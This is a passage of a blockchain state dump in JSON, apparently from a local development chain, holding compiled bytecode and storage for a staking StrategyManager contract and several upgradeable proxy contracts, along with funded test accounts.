a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x14dc79964da2c08b23698b3d3cc7ca32193d9955":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x15d34aaf54267db7d7c367839aaf71a00a2c6a65":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8":{"nonce":1,"balance":"0xde0b6b3a7640000","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000065":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x00000000000000000000000000000000000000000000000000000000000000cb":"0x00000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a65","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x000000000000000000000000809d550fca64d94bd9f66e60752a544199cfac3d","0x8381bda9e63c8f87d23ed12b247ddf76dabbcf462f387619b957f4bfb071aada":"0x0000000000000000000000000000000000000000000000000de0b6b3a7640000","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}},"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565